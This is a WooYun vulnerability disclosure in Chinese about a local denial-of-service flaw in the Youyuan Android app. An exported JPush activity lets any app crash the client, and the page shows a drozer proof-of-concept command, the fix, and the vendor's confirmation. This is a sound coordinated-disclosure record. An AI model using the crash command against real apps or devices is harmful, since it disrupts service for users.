当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0102090

漏洞标题：有缘网Android客户端拒绝服务漏洞

相关厂商：有缘网

漏洞作者： h0FF

提交时间：2015-03-18 14:54

修复时间：2015-06-17 17:46

公开时间：2015-06-17 17:46

漏洞类型：拒绝服务

危害等级：中

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-18： 细节已通知厂商并且等待厂商处理中
2015-03-19： 厂商已经确认，细节仅向厂商公开
2015-05-13： 细节向核心白帽子及相关领域专家公开
2015-05-23： 细节向普通白帽子公开
2015-06-02： 细节向实习白帽子公开
2015-06-17： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

客户端本地拒绝服务

详细说明：

## 1 ##
name：有缘网
Ver：5.2.0(59)
Package：com.youyuan.yyhl
SDKVer：8
## 2 ##
其中的Activity：cn.jpush.android.ui.PushActivity配置了intent-filter，所以默认exported为true，反编译看AndroidMenifest.xml：

<activity android:configChanges="keyboardHidden|orientation" android:name="cn.jpush.android.ui.PushActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar">
            <intent-filter>
                <action android:name="cn.jpush.android.ui.PushActivity"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="com.youyuan.yyhl"/>
            </intent-filter>
        </activity>


## 3 ##
也可以使用drozer查看可直接调用的activity：

dz> run app.activity.info -a com.youyuan.yyhl
Package: com.youyuan.yyhl
  com.app.ui.activity.WelcomeActivity
  cn.jpush.android.ui.PushActivity
  com.tencent.tauth.AuthActivity


漏洞证明：

## POC ##
drozer：

dz> run app.activity.start --component com.youyuan.yyhl cn.jpush.android.ui.Push
Activity


## App崩溃退出 ##

11.JPG

修复方案：

## 1 ## 设置exported=false
## 2 ## 正确处理接收到的intent

版权声明：转载请注明来源 h0FF@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-03-19 17:45

厂商回复：

问题确认，技术同事正在修正，感谢 h0FF@乌云

最新状态：

2015-03-20：经确认，此漏洞属于旧版api包，新版已无此问题，再次感谢 h0FF@乌云 的支持与帮助，我们会不断改进产品。